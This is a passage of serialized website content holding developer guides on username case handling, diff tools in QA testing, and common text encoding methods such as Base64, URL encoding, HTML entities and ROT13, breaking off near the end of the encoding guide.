username\n",[1560,202161,202162,202164,202166,202168,202170,202172],{"class":1562,"line":343},[1560,202163,37982],{"class":1570},[1560,202165,202088],{"class":1566},[1560,202167,1688],{"class":1570},[1560,202169,89294],{"class":5634},[1560,202171,10060],{"class":1570},[1560,202173,202174],{"class":1649},"\u002F\u002F Consistent locale for canonical form\n",[1560,202176,202177,202179,202181,202183,202185,202187],{"class":1562,"line":365},[1560,202178,37982],{"class":1570},[1560,202180,162581],{"class":1566},[1560,202182,1688],{"class":1570},[1560,202184,162586],{"class":5634},[1560,202186,22998],{"class":1570},[1560,202188,202189],{"class":1649},"\u002F\u002F Normalize Unicode combining characters\n",[1560,202191,202192],{"class":1562,"line":889},[1560,202193,1585],{"class":1570},[16,202195,202196],{},"Using a fixed locale for canonical storage avoids locale-dependent bugs while display names can use the user's locale.",[11,202198,202200],{"id":202199},"search-and-autocomplete","Search and Autocomplete",[16,202202,202203],{},"When users search for other users, case-insensitive matching is expected. Most databases support this natively:",[135,202205,202207],{"className":23599,"code":202206,"language":23601,"meta":141,"style":141},"-- PostgreSQL: use CITEXT or LOWER()\nSELECT * FROM users WHERE username_canonical = LOWER($1);\n\n-- MongoDB: use collation\ndb.users.find({ username: input }).collation({ locale: 'en', strength: 2 })\n",[143,202208,202209,202214,202219,202223,202228],{"__ignoreMap":141},[1560,202210,202211],{"class":1562,"line":1563},[1560,202212,202213],{},"-- PostgreSQL: use CITEXT or LOWER()\n",[1560,202215,202216],{"class":1562,"line":337},[1560,202217,202218],{},"SELECT * FROM users WHERE username_canonical = LOWER($1);\n",[1560,202220,202221],{"class":1562,"line":343},[1560,202222,1702],{"emptyLinePlaceholder":363},[1560,202224,202225],{"class":1562,"line":365},[1560,202226,202227],{},"-- MongoDB: use collation\n",[1560,202229,202230],{"class":1562,"line":889},[1560,202231,202232],{},"db.users.find({ username: input }).collation({ locale: 'en', strength: 2 })\n",[16,202234,202235],{},"For autocomplete, index the canonical form and match against the lowercased query prefix for consistent results.",[11,202237,321],{"id":320},[41,202239,202240,202244,202248],{},[44,202241,202242],{},[98,202243,23827],{"href":23826},[44,202245,202246],{},[98,202247,163683],{"href":23854},[44,202249,202250],{},[98,202251,23834],{"href":23833},[11,202253,286],{"id":285},[16,202255,202256],{},"Need to normalize usernames or transform text casing? Our free case converter handles uppercase, lowercase, title case, and more — instantly.",[16,202258,4531,202259],{},[98,202260,202261],{"href":23815},[47,202262,163709],{},[2043,202264,202265],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":202267},[202268,202269,202272,202278,202279,202282,202283,202284],{"id":201714,"depth":337,"text":201715},{"id":201724,"depth":337,"text":201725,"children":202270},[202271],{"id":201786,"depth":343,"text":201787},{"id":201838,"depth":337,"text":201839,"children":202273},[202274,202275,202276,202277],{"id":201842,"depth":343,"text":201843},{"id":201921,"depth":343,"text":201922},{"id":201936,"depth":343,"text":201937},{"id":201943,"depth":343,"text":201944},{"id":201957,"depth":337,"text":201958},{"id":202041,"depth":337,"text":202042,"children":202280},[202281],{"id":202133,"depth":343,"text":202134},{"id":202199,"depth":337,"text":202200},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How case conversion affects usernames, display names, and searchability in web apps.",{"immutable":363},"\u002Fguides\u002Ftext-case-in-usernames",{"title":201709,"description":202285},"guides\u002Ftext-case-in-usernames","njwU_ySro0ejhXU7SsJlZjfWE5YjOJdok2pzg47A6AM",{"id":202292,"title":202293,"body":202294,"date":2070,"description":202805,"extension":361,"meta":202806,"navigation":363,"path":202807,"readingTime":1710,"seo":202808,"stem":202809,"__hash__":202810},"guides\u002Fguides\u002Ftext-diff-in-qa-testing.md","Using Diff Tools in QA Testing",{"type":8,"value":202295,"toc":202794},[202296,202300,202303,202306,202310,202313,202316,202336,202432,202438,202442,202445,202465,202468,202561,202564,202568,202571,202574,202618,202621,202625,202628,202646,202649,202652,202666,202670,202727,202734,202736,202762,202764,202784,202786,202791],[11,202297,202299],{"id":202298},"why-diff-tools-matter-in-qa","Why Diff Tools Matter in QA",[16,202301,202302],{},"QA teams constantly compare things — expected vs. actual output, this build vs. the last one, production config vs. staging config. Manually scanning two files for differences is slow, error-prone, and unreliable. Diff tools automate this comparison, highlighting exactly what changed so testers can focus on whether those changes are correct.",[16,202304,202305],{},"Text diffing is one of the most versatile QA techniques because almost everything in software can be represented as text: API responses, database queries, configuration files, log entries, and even serialized UI state.",[11,202307,202309],{"id":202308},"regression-testing-with-diffs","Regression Testing With Diffs",[16,202311,202312],{},"Regression testing verifies that previously working functionality still works after a change. Diff-based regression compares the output of a test run against a known-good baseline.",[16,202314,202315],{},"The workflow:",[77,202317,202318,202324,202330],{},[44,202319,202320,202323],{},[47,202321,202322],{},"Establish a baseline"," — run the test suite against the last known-good version and save the output.",[44,202325,202326,202329],{},[47,202327,202328],{},"Run the new version"," — execute the same tests against the updated code.",[44,202331,202332,202335],{},[47,202333,202334],{},"Diff the outputs"," — any differences represent potential regressions.",[135,202337,202339],{"className":23484,"code":202338,"language":23486,"meta":141,"style":141},"\u002F\u002F Expected response (baseline)\n{\n  \"user_id\": 42,\n  \"name\": \"Alice\",\n  \"role\": \"admin\"\n}\n\n\u002F\u002F Actual response (new build)\n{\n  \"user_id\": 42,\n  \"name\": \"Alice\",\n  \"role\": \"viewer\"  \u002F\u002F ← role changed\n}\n",[143,202340,202341,202346,202350,202361,202371,202379,202383,202387,202392,202396,202406,202416,202428],{"__ignoreMap":141},[1560,202342,202343],{"class":1562,"line":1563},[1560,202344,202345],{"class":1649},"\u002F\u002F Expected response (baseline)\n",[1560,202347,202348],{"class":1562,"line":337},[1560,202349,23493],{"class":1570},[1560,202351,202352,202355,202357,202359],{"class":1562,"line":343},[1560,202353,202354],{"class":1576},"  \"user_id\"",[1560,202356,1663],{"class":1570},[1560,202358,14520],{"class":1576},[1560,202360,11943],{"class":1570},[1560,202362,202363,202365,202367,202369],{"class":1562,"line":365},[1560,202364,80877],{"class":1576},[1560,202366,1663],{"class":1570},[1560,202368,23503],{"class":5634},[1560,202370,11943],{"class":1570},[1560,202372,202373,202375,202377],{"class":1562,"line":889},[1560,202374,81838],{"class":1576},[1560,202376,1663],{"class":1570},[1560,202378,81350],{"class":5634},[1560,202380,202381],{"class":1562,"line":1710},[1560,202382,1585],{"class":1570},[1560,202384,202385],{"class":1562,"line":1717},[1560,202386,1702],{"emptyLinePlaceholder":363},[1560,202388,202389],{"class":1562,"line":1747},[1560,202390,202391],{"class":1649},"\u002F\u002F Actual response (new build)\n",[1560,202393,202394],{"class":1562,"line":2507},[1560,202395,23493],{"class":1570},[1560,202397,202398,202400,202402,202404],{"class":1562,"line":2524},[1560,202399,202354],{"class":1576},[1560,202401,1663],{"class":1570},[1560,202403,14520],{"class":1576},[1560,202405,11943],{"class":1570},[1560,202407,202408,202410,202412,202414],{"class":1562,"line":2529},[1560,202409,80877],{"class":1576},[1560,202411,1663],{"class":1570},[1560,202413,23503],{"class":5634},[1560,202415,11943],{"class":1570},[1560,202417,202418,202420,202422,202425],{"class":1562,"line":2534},[1560,202419,81838],{"class":1576},[1560,202421,1663],{"class":1570},[1560,202423,202424],{"class":5634},"\"viewer\"",[1560,202426,202427],{"class":1649},"  \u002F\u002F ← role changed\n",[1560,202429,202430],{"class":1562,"line":2542},[1560,202431,1585],{"class":1570},[16,202433,202434,202435,202437],{},"A diff tool spots the ",[143,202436,138405],{}," field change immediately, while a manual reviewer might skim past it.",[11,202439,202441],{"id":202440},"api-response-verification","API Response Verification",[16,202443,202444],{},"APIs often return complex nested JSON with hundreds of fields. After a refactor, you need to verify the response schema has not changed unexpectedly. Diffing the full response body against a baseline reveals:",[41,202446,202447,202453,202459],{},[44,202448,202449,202452],{},[47,202450,202451],{},"Added fields"," — new data the client may not handle",[44,202454,202455,202458],{},[47,202456,202457],{},"Removed fields"," — missing data that breaks existing consumers",[44,202460,202461,202464],{},[47,202462,202463],{},"Changed values"," — data that shifted unexpectedly",[16,202466,202467],{},"For noisy comparisons (timestamps, UUIDs), strip or normalize those fields before diffing:",[135,202469,202471],{"className":1607,"code":202470,"language":1609,"meta":141,"style":141},"function normalize(response) {\n  const copy = JSON.parse(JSON.stringify(response));\n  copy.timestamp = '\u003CIGNORED>';\n  copy.request_id = '\u003CIGNORED>';\n  return JSON.stringify(copy, null, 2);\n}\n",[143,202472,202473,202487,202513,202525,202536,202557],{"__ignoreMap":141},[1560,202474,202475,202477,202480,202482,202485],{"class":1562,"line":1563},[1560,202476,8648],{"class":1669},[1560,202478,202479],{"class":1566}," normalize",[1560,202481,1688],{"class":1570},[1560,202483,202484],{"class":2219},"response",[1560,202486,9345],{"class":1570},[1560,202488,202489,202491,202494,202496,202498,202500,202502,202504,202506,202508,202510],{"class":1562,"line":337},[1560,202490,28057],{"class":1669},[1560,202492,202493],{"class":1576}," copy",[1560,202495,8186],{"class":1669},[1560,202497,89946],{"class":1576},[1560,202499,468],{"class":1570},[1560,202501,80838],{"class":1566},[1560,202503,1688],{"class":1570},[1560,202505,13411],{"class":1576},[1560,202507,468],{"class":1570},[1560,202509,82298],{"class":1566},[1560,202511,202512],{"class":1570},"(response));\n",[1560,202514,202515,202518,202520,202523],{"class":1562,"line":343},[1560,202516,202517],{"class":1570},"  copy.timestamp ",[1560,202519,7297],{"class":1669},[1560,202521,202522],{"class":5634}," '\u003CIGNORED>'",[1560,202524,2228],{"class":1570},[1560,202526,202527,202530,202532,202534],{"class":1562,"line":365},[1560,202528,202529],{"class":1570},"  copy.request_id ",[1560,202531,7297],{"class":1669},[1560,202533,202522],{"class":5634},[1560,202535,2228],{"class":1570},[1560,202537,202538,202540,202542,202544,202546,202549,202551,202553,202555],{"class":1562,"line":889},[1560,202539,9350],{"class":1669},[1560,202541,89946],{"class":1576},[1560,202543,468],{"class":1570},[1560,202545,82298],{"class":1566},[1560,202547,202548],{"class":1570},"(copy, ",[1560,202550,80702],{"class":1576},[1560,202552,1459],{"class":1570},[1560,202554,10099],{"class":1576},[1560,202556,1744],{"class":1570},[1560,202558,202559],{"class":1562,"line":1710},[1560,202560,1585],{"class":1570},[16,202562,202563],{},"This lets you focus on meaningful changes without false positives from expected variability.",[11,202565,202567],{"id":202566},"configuration-drift-detection","Configuration Drift Detection",[16,202569,202570],{},"Infrastructure and application configurations accumulate drift over time. A staging server gets a hotfix that never reaches production. A developer tweaks a timeout value locally and forgets to revert it. Diff tools catch these discrepancies before they cause incidents.",[16,202572,202573],{},"Common config comparisons:",[193,202575,202576,202584],{},[196,202577,202578],{},[199,202579,202580,202582],{},[202,202581,70069],{},[202,202583,2758],{},[211,202585,202586,202594,202602,202610],{},[199,202587,202588,202591],{},[216,202589,202590],{},"Production vs. staging",[216,202592,202593],{},"Detect deployment drift",[199,202595,202596,202599],{},[216,202597,202598],{},"Current vs. committed",[216,202600,202601],{},"Find uncommitted changes",[199,202603,202604,202607],{},[216,202605,202606],{},"Environment A vs. B",[216,202608,202609],{},"Verify identical setups",[199,202611,202612,202615],{},[216,202613,202614],{},"Yesterday vs. today",[216,202616,202617],{},"Audit unauthorized changes",[16,202619,202620],{},"Store configs in version control and diff the live version against the committed version regularly.",[11,202622,202624],{"id":202623},"snapshot-testing","Snapshot Testing",[16,202626,202627],{},"Snapshot testing is a diff-driven technique popularized by Jest. It captures a serialized representation of a component's output and compares future runs against it.",[135,202629,202631],{"className":1607,"code":202630,"language":1609,"meta":141,"style":141},"expect(renderedComponent).toMatchSnapshot();\n",[143,202632,202633],{"__ignoreMap":141},[1560,202634,202635,202638,202641,202644],{"class":1562,"line":1563},[1560,202636,202637],{"class":1566},"expect",[1560,202639,202640],{"class":1570},"(renderedComponent).",[1560,202642,202643],{"class":1566},"toMatchSnapshot",[1560,202645,90158],{"class":1570},[16,202647,202648],{},"On the first run, the snapshot is created. On subsequent runs, any difference is flagged. If the change is intentional, the tester updates the snapshot. If not, it is a regression.",[16,202650,202651],{},"This approach works well for:",[41,202653,202654,202657,202660,202663],{},[44,202655,202656],{},"Component HTML output",[44,202658,202659],{},"API response schemas",[44,202661,202662],{},"Error message formatting",[44,202664,202665],{},"CLI output",[11,202667,202669],{"id":202668},"choosing-the-right-diff-strategy","Choosing the Right Diff Strategy",[193,202671,202672,202682],{},[196,202673,202674],{},[199,202675,202676,202678,202680],{},[202,202677,39330],{},[202,202679,489],{},[202,202681,80936],{},[211,202683,202684,202695,202705,202716],{},[199,202685,202686,202689,202692],{},[216,202687,202688],{},"Character-level",[216,202690,202691],{},"Precise text changes",[216,202693,202694],{},"Noisy for large files",[199,202696,202697,202699,202702],{},[216,202698,191773],{},[216,202700,202701],{},"Source code, configs",[216,202703,202704],{},"Misses intra-line changes",[199,202706,202707,202710,202713],{},[216,202708,202709],{},"Word-level",[216,202711,202712],{},"Prose, documentation",[216,202714,202715],{},"Good balance of detail",[199,202717,202718,202721,202724],{},[216,202719,202720],{},"Structural (JSON path)",[216,202722,202723],{},"API responses",[216,202725,202726],{},"Ignores formatting, focuses on values",[16,202728,202729,202730,202733],{},"Structural diffing is especially useful for JSON — it reports that ",[143,202731,202732],{},"users[2].email"," changed rather than line 47 differs.",[11,202735,2341],{"id":2340},[41,202737,202738,202744,202750,202756],{},[44,202739,202740,202743],{},[47,202741,202742],{},"Not normalizing formatting"," — differences in whitespace, key ordering, or indentation create false positives. Pretty-print and sort keys before diffing JSON.",[44,202745,202746,202749],{},[47,202747,202748],{},"Ignoring expected variation"," — timestamps, random IDs, and floating-point rounding create noise. Strip or replace these before comparison.",[44,202751,202752,202755],{},[47,202753,202754],{},"Diffing too broadly"," — comparing entire API responses when you only care about specific fields. Extract the relevant subset first.",[44,202757,202758,202761],{},[47,202759,202760],{},"Not updating baselines"," — after an intentional change, update the baseline. Stale baselines generate perpetual false alarms.",[11,202763,1355],{"id":1354},[41,202765,202766,202769,202772,202775,202778,202781],{},[44,202767,202768],{},"Diff automation replaces manual scanning with precise, instant change detection.",[44,202770,202771],{},"Regression testing uses diffing to compare current output against a known-good baseline.",[44,202773,202774],{},"Normalize noisy fields (timestamps, UUIDs) before diffing to reduce false positives.",[44,202776,202777],{},"Config drift detection compares environments to catch inconsistencies before they cause incidents.",[44,202779,202780],{},"Snapshot testing is diff-driven — changes are flagged as potential regressions until explicitly approved.",[44,202782,202783],{},"Choose diff granularity (character, line, word, structural) based on your use case.",[11,202785,286],{"id":285},[16,202787,202788,202789,468],{},"Compare text, code, or API responses side by side with the ",[98,202790,35403],{"href":35402},[2043,202792,202793],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":202795},[202796,202797,202798,202799,202800,202801,202802,202803,202804],{"id":202298,"depth":337,"text":202299},{"id":202308,"depth":337,"text":202309},{"id":202440,"depth":337,"text":202441},{"id":202566,"depth":337,"text":202567},{"id":202623,"depth":337,"text":202624},{"id":202668,"depth":337,"text":202669},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"How QA teams use text comparison to verify regression, API responses, and config changes.",{"immutable":363},"\u002Fguides\u002Ftext-diff-in-qa-testing",{"title":202293,"description":202805},"guides\u002Ftext-diff-in-qa-testing","zqVGBj8tk62TPRCKhWCi13rmgquzciXWKB0I2Spx6Bo",{"id":202812,"title":22557,"body":202813,"date":2070,"description":203376,"extension":361,"meta":203377,"navigation":363,"path":22556,"readingTime":1717,"seo":203378,"stem":203379,"__hash__":203380},"guides\u002Fguides\u002Ftext-encoding-methods.md",{"type":8,"value":202814,"toc":203347},[202815,202819,202822,202829,202833,202836,202907,202910,202914,202916,202919,202924,202930,202934,202940,202945,202951,202954,202975,202980,202986,202988,202991,202996,203002,203006,203029,203034,203040,203042,203136,203140,203144,203155,203159,203170,203174,203190,203194,203205,203209,203220,203222,203224,203227,203233,203241,203245,203248,203252,203255,203259,203262,203266,203269,203275,203278,203285,203287,203313,203315,203318,203335,203337],[11,202816,202818],{"id":202817},"what-is-text-encoding","What is Text Encoding?",[16,202820,202821],{},"Text encoding transforms data into a specific format so another system can safely process or transport it. Encoding is always reversible — you can decode the output back to the original input without loss.",[16,202823,202824,202825,202828],{},"This makes encoding fundamentally different from encryption and hashing. Encoding solves ",[47,202826,202827],{},"compatibility"," problems, not security problems.",[11,202830,202832],{"id":202831},"encoding-vs-encryption","Encoding vs Encryption",[16,202834,202835],{},"People often confuse encoding with encryption. The distinction matters.",[193,202837,202838,202848],{},[196,202839,202840],{},[199,202841,202842,202844,202846],{},[202,202843,14482],{},[202,202845,84410],{},[202,202847,84413],{},[211,202849,202850,202862,202874,202884,202895],{},[199,202851,202852,202856,202859],{},[216,202853,202854],{},[47,202855,2758],{},[216,202857,202858],{},"Format compatibility",[216,202860,202861],{},"Data confidentiality",[199,202863,202864,202868,202871],{},[216,202865,202866],{},[47,202867,84440],{},[216,202869,202870],{},"Yes — always",[216,202872,202873],{},"Yes — with the key",[199,202875,202876,202880,202882],{},[216,202877,202878],{},[47,202879,84456],{},[216,202881,6117],{},[216,202883,3057],{},[199,202885,202886,202890,202892],{},[216,202887,202888],{},[47,202889,22314],{},[216,202891,22317],{},[216,202893,202894],{},"Strong (with proper implementation)",[199,202896,202897,202901,202904],{},[216,202898,202899],{},[47,202900,96299],{},[216,202902,202903],{},"Base64, URL encoding, HTML entities",[216,202905,202906],{},"AES-256, RSA, ChaCha20",[16,202908,202909],{},"If you can decode something without a secret key, it is encoding — not encryption. Base64 strings, URL-encoded paths, and HTML entities all decode trivially.",[11,202911,202913],{"id":202912},"common-encoding-methods","Common Encoding Methods",[33,202915,84223],{"id":86311},[16,202917,202918],{},"Base64 converts binary data into printable ASCII characters using a 64-character alphabet (A–Z, a–z, 0–9, +, \u002F). It increases data size by roughly 33%.",[16,202920,202921,202923],{},[47,202922,176957],{}," email attachments (MIME), data URLs, API payloads (JWT), embedding binary data in JSON or XML.",[135,202925,202928],{"className":202926,"code":202927,"language":140},[138],"Hello World → SGVsbG8gV29ybGQ=\n",[143,202929,202927],{"__ignoreMap":141},[33,202931,202933],{"id":202932},"url-encoding-percent-encoding","URL Encoding (Percent Encoding)",[16,202935,202936,202937,202939],{},"URL encoding replaces unsafe or reserved characters with a ",[143,202938,17990],{}," followed by two hexadecimal digits. This ensures URLs remain valid across all systems.",[16,202941,202942,202944],{},[47,202943,176957],{}," query parameters, form data submission, path segments containing special characters — any time you embed arbitrary text in a URL.",[135,202946,202949],{"className":202947,"code":202948,"language":140},[138],"hello world! → hello%20world%21\n",[143,202950,202948],{"__ignoreMap":141},[33,202952,202953],{"id":120979},"HTML Entities",[16,202955,202956,202957,1459,202959,1459,202961,1459,202963,202965,202966,1459,202968,1459,202970,1459,202972,202974],{},"HTML encoding replaces characters that have special meaning in HTML — ",[143,202958,6431],{},[143,202960,28226],{},[143,202962,13530],{},[143,202964,8721],{}," — with entity references like ",[143,202967,116644],{},[143,202969,116658],{},[143,202971,98619],{},[143,202973,116672],{},". This prevents browsers from interpreting user content as markup.",[16,202976,202977,202979],{},[47,202978,176957],{}," rendering user-generated text in web pages, preventing XSS in HTML contexts, displaying special characters like © or —.",[135,202981,202984],{"className":202982,"code":202983,"language":140},[138],"\u003Cp>Hello & \"World\"\u003C\u002Fp> → &lt;p&gt;Hello &amp; &quot;World&quot;&lt;\u002Fp&gt;\n",[143,202985,202983],{"__ignoreMap":141},[33,202987,22016],{"id":86285},[16,202989,202990],{},"ROT13 shifts each letter by 13 positions in the alphabet. Encoding and decoding are the same operation. It provides no security — only casual obscuration.",[16,202992,202993,202995],{},[47,202994,176957],{}," hiding spoilers, puzzle hints, content warnings where readers opt in to reveal text.",[135,202997,203000],{"className":202998,"code":202999,"language":140},[138],"Spoiler → Fcbvyre\n",[143,203001,202999],{"__ignoreMap":141},[33,203003,203005],{"id":203004},"unicode-escapes","Unicode Escapes",[16,203007,203008,203009,203012,203013,203016,203017,1459,203020,1459,203023,1459,203026,9368],{},"Unicode escaping represents characters using escape sequences like ",[143,203010,203011],{},"\\u0041"," for \"A\" or ",[143,203014,203015],{},"\\u1F600"," for \"😀\". Different languages and formats use different syntax (",[143,203018,203019],{},"\\u",[143,203021,203022],{},"\\U",[143,203024,203025],{},"&#x;",[143,203027,203028],{},"%u",[16,203030,203031,203033],{},[47,203032,176957],{}," embedding Unicode in ASCII-only contexts (source code, config files), escaping special characters in JavaScript\u002FJSON strings, representing characters that are hard to type.",[135,203035,203038],{"className":203036,"code":203037,"language":140},[138],"Hello → \\u0048\\u0065\\u006C\\u006C\\u006F\n",[143,203039,203037],{"__ignoreMap":141},[11,203041,160529],{"id":160528},[193,203043,203044,203061],{},[196,203045,203046],{},[199,203047,203048,203050,203053,203056,203058],{},[202,203049,7441],{},[202,203051,203052],{},"Increases Size",[202,203054,203055],{},"Handles Binary",[202,203057,22314],{},[202,203059,203060],{},"Self-Decoding",[211,203062,203063,203078,203092,203106,203121],{},[199,203064,203065,203069,203072,203074,203076],{},[216,203066,203067],{},[47,203068,84223],{},[216,203070,203071],{},"~33%",[216,203073,3057],{},[216,203075,22317],{},[216,203077,6117],{},[199,203079,203080,203084,203086,203088,203090],{},[216,203081,203082],{},[47,203083,86920],{},[216,203085,84248],{},[216,203087,10731],{},[216,203089,22317],{},[216,203091,6117],{},[199,203093,203094,203098,203100,203102,203104],{},[216,203095,203096],{},[47,203097,202953],{},[216,203099,84248],{},[216,203101,6117],{},[216,203103,22317],{},[216,203105,6117],{},[199,203107,203108,203112,203115,203117,203119],{},[216,203109,203110],{},[47,203111,22016],{},[216,203113,203114],{},"0%",[216,203116,6117],{},[216,203118,22317],{},[216,203120,3057],{},[199,203122,203123,203127,203130,203132,203134],{},[216,203124,203125],{},[47,203126,203005],{},[216,203128,203129],{},"300–600%",[216,203131,6117],{},[216,203133,22317],{},[216,203135,6117],{},[11,203137,203139],{"id":203138},"when-to-use-each-method","When to Use Each Method",[33,203141,203143],{"id":203142},"choose-base64-when","Choose Base64 when:",[41,203145,203146,203149,203152],{},[44,203147,203148],{},"You need to embed binary data (images, files) in text-based formats",[44,203150,203151],{},"You are working with email attachments or data URLs",[44,203153,203154],{},"You need to transmit binary data over a text-only channel",[33,203156,203158],{"id":203157},"choose-url-encoding-when","Choose URL encoding when:",[41,203160,203161,203164,203167],{},[44,203162,203163],{},"You are constructing URLs with dynamic query parameters",[44,203165,203166],{},"User input contains spaces, ampersands, or other reserved URL characters",[44,203168,203169],{},"You are submitting form data via GET requests",[33,203171,203173],{"id":203172},"choose-html-entities-when","Choose HTML entities when:",[41,203175,203176,203179,203187],{},[44,203177,203178],{},"You are rendering untrusted text inside HTML documents",[44,203180,203181,203182,1531,203184,203186],{},"You need to display characters like ",[143,203183,6431],{},[143,203185,13530],{}," without triggering markup parsing",[44,203188,203189],{},"You want to show typographic symbols (em dash, copyright)",[33,203191,203193],{"id":203192},"choose-rot13-when","Choose ROT13 when:",[41,203195,203196,203199,203202],{},[44,203197,203198],{},"You want to obscure text from casual reading without any security requirement",[44,203200,203201],{},"You are hiding spoilers, hints, or answers in a community post",[44,203203,203204],{},"You need an encoding where encode = decode",[33,203206,203208],{"id":203207},"choose-unicode-escapes-when","Choose Unicode escapes when:",[41,203210,203211,203214,203217],{},[44,203212,203213],{},"You are writing source code in ASCII-only environments",[44,203215,203216],{},"You need to represent characters that your editor or keyboard cannot type",[44,203218,203219],{},"You are escaping control characters in JSON or JavaScript strings",[11,203221,10393],{"id":10392},[33,203223,101941],{"id":101940},[16,203225,203226],{},"Applying encoding twice creates strings that decode incorrectly unless you also decode twice. This happens often with URL parameters passing through multiple systems.",[135,203228,203231],{"className":203229,"code":203230,"language":140},[138],"\"hello world\" → \"hello%20world\" → \"hello%2520world\"\n",[143,203232,203230],{"__ignoreMap":141},[16,203234,203235,203236,34471,203238,203240],{},"The second encode turns ",[143,203237,17990],{},[143,203239,33701],{},". Always track whether a string is already encoded.",[33,203242,203244],{"id":203243},"wrong-encoding-for-the-context","Wrong encoding for the context",[16,203246,203247],{},"URL encoding does not prevent XSS in HTML. HTML entities do not make strings safe for URLs. Each encoding solves a specific transport or rendering problem — use the right one for your context.",[33,203249,203251],{"id":203250},"confusing-encoding-with-encryption","Confusing encoding with encryption",[16,203253,203254],{},"Encoding is never a security measure. Anyone can decode Base64, URL-encoded strings, or ROT13 instantly. If you need to protect data, use encryption.",[33,203256,203258],{"id":203257},"ignoring-character-sets","Ignoring character sets",[16,203260,203261],{},"Base64 operates on bytes. If your input text uses different character encodings (UTF-8 vs Latin-1), the Base64 output differs. Always agree on the source encoding first.",[11,203263,203265],{"id":203264},"combining-multiple-encodings","Combining Multiple Encodings",[16,203267,203268],{},"You can chain encodings when data passes through multiple systems. For example, a JSON API might Base64-encode a binary payload, then URL-encode the Base64 string for a query parameter.",[135,203270,203273],{"className":203271,"code":203272,"language":140},[138],"Binary → Base64 → URL Encode → Send in URL\n",[143,203274,203272],{"__ignoreMap":141},[16,203276,203277],{},"When decoding, reverse the order: URL-decode first, then Base64-decode.",[16,203279,203280,203281,203284],{},"The critical rule: ",[47,203282,203283],{},"always decode in the reverse order of encoding",". Each layer wraps the previous one, so you must unwrap from the outside in.",[11,203286,1355],{"id":1354},[41,203288,203289,203292,203295,203298,203301,203304,203307,203310],{},[44,203290,203291],{},"Encoding solves format compatibility, not security",[44,203293,203294],{},"Base64 handles binary data in text channels but increases size by 33%",[44,203296,203297],{},"URL encoding makes arbitrary text safe for URLs",[44,203299,203300],{},"HTML entities prevent markup interpretation and XSS",[44,203302,203303],{},"ROT13 offers casual obscuration with zero security",[44,203305,203306],{},"Unicode escapes represent characters in ASCII-only contexts",[44,203308,203309],{},"Never confuse encoding with encryption — one is reversible by design, the other requires a key",[44,203311,203312],{},"Decode in reverse order when combining multiple encodings",[11,203314,286],{"id":285},[16,203316,203317],{},"Experiment with different encoding methods using our free online tools:",[41,203319,203320,203325,203330],{},[44,203321,203322,203324],{},[98,203323,22566],{"href":22565}," — encode and decode ROT13 text instantly",[44,203326,203327,203329],{},[98,203328,12162],{"href":12161}," — convert text and binary data to Base64 and back",[44,203331,203332,203334],{},[98,203333,34510],{"href":34509}," — encode and decode URLs and query 